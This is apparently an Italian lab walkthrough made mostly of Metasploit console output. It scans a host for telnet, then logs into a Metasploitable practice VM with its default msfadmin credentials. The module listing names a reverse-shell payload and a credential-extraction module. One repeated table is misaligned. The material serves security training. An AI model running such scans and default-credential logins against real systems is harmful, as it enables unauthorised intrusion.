

Ilaria Pedrelli

# Exploit Telnet con Metasploit

```
msf6 TCP SSL (telnet)
  40 payload/cmd/unix/reverse_bash_telnet_ssl
  SSL (telnet)
  41 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05 great Yes VyOS restricted-shell Escape an
  d Privilege Escalation
  42 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Pa
  ssword Extraction

Interact with a module by name or index. For example info 42, use 42 or use post/windows/gather/credentials/mremote

msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                |
| RHOSTS   |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                  |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                    |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                           |
| USERNAME |                 | no       | The username to authenticate as                                                                        |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                |
| RHOSTS   | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                  |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                    |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                           |
| USERNAME |                 | no       | The username to authenticate as                                                                        |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > 
```

```

File Actions Edit View Help
Interact with a module by name or index. For example info 42, use 42 or use post/windows/gather/credentials/mremote

msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  PASSWORD  RHOSTS          yes       The password for the specified username
  RHOSTS    RPORT           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     THREADS         yes       The target port (TCP)
  THREADS   TIMEOUT        yes       The number of concurrent threads (max one per host)
  TIMEOUT   USERNAME        no        Timeout for the Telnet probe
  USERNAME  USERNAME        no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  PASSWORD  RHOSTS          yes       The password for the specified username
  RHOSTS    RPORT           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     THREADS         yes       The target port (TCP)
  THREADS   TIMEOUT        yes       The number of concurrent threads (max one per host)
  TIMEOUT   USERNAME        no        Timeout for the Telnet probe
  USERNAME  USERNAME        no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >

```

```

kali@kali:~$ telnet 192.168.1.40 23
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Feb 19 14:31:41 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$

```